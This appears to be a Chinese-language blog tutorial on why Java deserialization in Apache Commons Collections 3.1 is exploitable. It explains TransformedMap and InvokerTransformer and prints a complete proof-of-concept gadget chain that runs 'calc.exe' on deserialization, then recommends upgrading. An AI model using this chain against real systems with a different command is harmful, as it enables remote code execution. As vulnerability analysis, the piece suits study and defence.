主要從Commons Collections 包來(lái)淺析java反序列化漏洞成因阱洪。
一饰躲、對(duì)象序列化
對(duì)象序列化是一個(gè)用于將對(duì)象狀態(tài)轉(zhuǎn)換為字節(jié)流的過(guò)程,可以將其保存到磁盤文件中或通過(guò)網(wǎng)絡(luò)發(fā)送到任何其他程序。通過(guò)實(shí)現(xiàn)java.io.Serializable接口,可以在Java類中啟用可序列化莲兢。
序列化簡(jiǎn)單實(shí)現(xiàn)例子如下:
public class Student implements Serializable {
private String name;
public Student(String name){
this.name = name;
}
public String toSting(){
return "my name is " + name;
}
}
將其序列化到文件中,代碼如下:
public static void main(String[] args) throws Exception{
Student student = new Student("ramboo");
File file = new File("E:"+ File.separator+"text.txt");
ObjectOutputStream oos = null;
OutputStream out = new FileOutputStream(file);
oos = new ObjectOutputStream(out);
oos.writeObject(student);
oos.close();
}
保存到文件中的內(nèi)容如下:
?í ?sr ?com.example.demo.Student?tB&?óO?? ?L ?namet ?Ljava/lang/String;xpt ?ramboo
以上保存的內(nèi)容是二進(jìn)制數(shù)據(jù)续膳。保存的文件本身不可以直接修改改艇,因?yàn)闀?huì)破壞其保存的格式。
二坟岔、對(duì)象反序列化
使用對(duì)象輸入流讀入對(duì)象的過(guò)程稱為反序列化谒兄。簡(jiǎn)單來(lái)說(shuō),就是從一組序列化后的二進(jìn)制流重新構(gòu)造成對(duì)象的過(guò)程炮车。
與反序列化密切相關(guān)的就是對(duì)象輸入流ObjectInputStream以及其方法readObject()
以下代碼是通過(guò)ObjectInputStream讀取從上述序列化到文件中的二進(jìn)制流舵变。
public static void main(String[] args) throws Exception{
File file = new File("E:"+ File.separator+"text.txt");
ObjectInputStream ois = null;
InputStream input = new FileInputStream(file);
ois = new ObjectInputStream(input);
Object object = ois.readObject();
ois.close();
System.out.println(object.toString());
}
以上代碼結(jié)果輸出如下:
Student{name='ramboo'}
接下來(lái)再看酣溃,如果將反序列化的目標(biāo)對(duì)象添加readObject方法瘦穆,如下:
public class Student implements Serializable {
private String name;
public Student(String name){
this.name = name;
}
@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
'}';
}
private void readObject(ObjectInputStream stream)
throws IOException, ClassNotFoundException{
System.out.println("this method is override,haha");
}
}
則上述反序列化的代碼將會(huì)輸出如下結(jié)果:
this method is override,haha
Student{name='null'}
通過(guò)以上可知纪隙,在被反序列化的目標(biāo)對(duì)象中重寫readObject方法,則反序列化的結(jié)果是不再讀取文件中的二進(jìn)制流扛或,而是直接執(zhí)行了已經(jīng)重寫的readObject方法绵咱。而反序列化漏洞就是從這個(gè)地方而來(lái)。
如果目標(biāo)對(duì)象的readObject進(jìn)行了一些更復(fù)雜的操作的時(shí)候,那么極有可能給惡意代碼提供可乘之機(jī)熙兔。例如在此方法中實(shí)現(xiàn)彈出計(jì)算器:
private void readObject(ObjectInputStream stream)
throws Exception{
Object runTime=Class.forName("java.lang.Runtime")
.getMethod("getRuntime",new Class[]{})
.invoke(null);
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(runTime,"calc.exe");
}
再執(zhí)行上述main方法悲伶,則會(huì)彈出計(jì)算器,如下圖所示:
三住涉、反序列化漏洞
反序列化漏洞麸锉,就是程序傳送了不安全的反序列化對(duì)象,并且程序沒(méi)有對(duì)此不安全的對(duì)象做過(guò)濾及限制舆声,導(dǎo)致執(zhí)行了不安全的對(duì)系統(tǒng)造成破壞性的操作花沉。
下面主要分析一下apache common collections包存在的反序列化漏洞
四、apache common collections反序列化漏洞
本例是使用具有漏洞的版本3.1進(jìn)行說(shuō)明媳握。
4.1碱屁、定義
apache common collections到底有何妙用,能讓W(xué)ebLogic蛾找、WebSphere娩脾、JBoss、Jenkins打毛、OpenNMS都紛紛青睞柿赊。引用某博客中的一段話加以說(shuō)明:
此包中對(duì)Java中的集合類進(jìn)行了一定的補(bǔ)充,定義了一些全新的集合幻枉,當(dāng)然也是實(shí)現(xiàn)了Collection接口的闹瞧,比如Bag,BidiMap展辞。同時(shí)擁有新版本的原有集合奥邮,比如FastArrayList。最后罗珍,更為重要的是一系列utils類洽腺,提供了我們常用的集合操作,可以大大方便我們的日常編程覆旱。
對(duì)于具體有哪些用途蘸朋,本人也沒(méi)有具體深入研究。本篇主要聚焦此包中為何會(huì)存在反序列化漏洞扣唱。通過(guò)一系列調(diào)研藕坯,此包中存在反序列化漏洞是由于TransformedMap和InvokerTransformer造成的团南。
4.2、淺析
TransformedMap這個(gè)類是用來(lái)對(duì)Map進(jìn)行某些變換用的炼彪。當(dāng)我們修改Map中的某個(gè)值吐根,不管是key還是value,就會(huì)觸發(fā)我們預(yù)先定義好的某些操作來(lái)對(duì)Map進(jìn)行處理辐马。實(shí)例化TransformedMap這個(gè)對(duì)象是通過(guò)其靜態(tài)方法decorate得到的拷橘,如下:
Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
其中,map為普通的Map喜爷,keyTransformer和valueTransformer分別對(duì)應(yīng)當(dāng)key改變和value改變時(shí)需要做的操作冗疮,其類型實(shí)現(xiàn)了Transformer接口。該接口定義如下:
public interface Transformer {
Object transform(Object var1);
}
其中只定義了一個(gè)transform方法檩帐。這個(gè)方法會(huì)在key或者value改變時(shí)觸發(fā)調(diào)用术幔。如果需要觸發(fā)一系列操作,可定義ChainedTransformer來(lái)實(shí)現(xiàn)湃密。具體操作如下:
首先定義一個(gè)Transformer數(shù)組:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(...),
new InvokerTransformer(...)诅挑,
.....
};
其次實(shí)例化ChainedTransformer:
Transformer chainedTransformer = new ChainedTransformer(transformers);
最后傳入TransformedMap實(shí)例化參數(shù)中:
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
此時(shí),如果map中的value發(fā)生變化勾缭,會(huì)調(diào)用chainedTransformer中定義的transform方法:
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
從中可以看到揍障,此類中的transform方法會(huì)將上一次變換的結(jié)果作為下一次變換的輸入,直到所有的變換完成俩由,并返回最終的object毒嫡。
現(xiàn)在真正的主角出場(chǎng),InvokerTransformer幻梯。如果在變換鏈中有InvokerTransformer兜畸,則也會(huì)調(diào)用transform方法,它對(duì)應(yīng)方法實(shí)現(xiàn)如下:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
從中可以看出碘梢,它是利用反射機(jī)制來(lái)調(diào)用對(duì)應(yīng)的方法咬摇。如果input可控,輸入一些非法的對(duì)象煞躬,則會(huì)帶來(lái)安全風(fēng)險(xiǎn)肛鹏。那么如何利用此漏洞呢?
4.3恩沛、利用
成功利用需滿足的條件如下:
1在扰、序列化對(duì)象具有不安全性
2、被反序列化對(duì)象已經(jīng)重寫了readObject方法
3雷客、外部能夠觸發(fā)readObject方法
根據(jù)以上條件芒珠,簡(jiǎn)單利用此漏洞的序列化對(duì)象如下所示:
package com.example.demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
/**
* 反序列化payload
*
* @author:xing.hang
* @created 2019-07-11 19:35
*/
public class SerializablePayload implements Serializable {
private Map transformedMap = null;
public SerializablePayload(Map transformedMap){
this.transformedMap = transformedMap;
}
private void readObject(ObjectInputStream stream)
throws Exception{
stream.defaultReadObject();
Map.Entry entry = (Map.Entry) this.transformedMap.entrySet().iterator().next();
entry.setValue("xing");
}
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{
String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{null,new Class[0]}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{"calc.exe"})
};
Map map = new HashMap();
map.put("name","ramboo");
Transformer valueTransformer = new ChainedTransformer(transformers);
Map transformedMap = TransformedMap.decorate(map,null,valueTransformer);
SerializablePayload payload = new SerializablePayload(transformedMap);
File file = new File("E:"+ File.separator+"text.txt");
ObjectOutputStream oos = null;
OutputStream out = new FileOutputStream(file);
oos = new ObjectOutputStream(out);
oos.writeObject(payload);
oos.close();
}
}
執(zhí)行此段代碼,會(huì)將對(duì)象序列化保存到文件中搅裙。其中
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{
String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{null,new Class[0]}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{"calc.exe"})
};
其功能是彈出計(jì)算器皱卓。如果直接利用java普通方法操作裹芝,則代碼如下:
Runtime.getRuntime().exec("calc.exe");
由于InvokerTransformer類中的transform方法采用了反射機(jī)制執(zhí)行相應(yīng)操作,所以便有了上述的代碼塊娜汁。
一旦我們對(duì)保存過(guò)的二進(jìn)制文件反序列化嫂易,則會(huì)調(diào)用readObject,在此方法中存炮,修改了map的value值炬搭。map中的value發(fā)生變化蜈漓,會(huì)依次執(zhí)行transformers數(shù)組中的各個(gè)類的transform方法穆桂。繼而彈出計(jì)算器,目標(biāo)達(dá)成融虽。
以上便是對(duì)apache common collections包反序列化漏洞的成因的簡(jiǎn)單分析享完。我們?cè)陂_(kāi)發(fā)過(guò)程中,如果使用此包有额,可更新為最新版本般又。目前最新版本是4.4,使用方法也有所不同巍佑,大家如有興趣茴迁,可自行查看。相關(guān)依賴如下:
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.4</version>
</dependency>
受影響版本為:
Apache Commons Collections <= 3.2.1萤衰,<= 4.0.0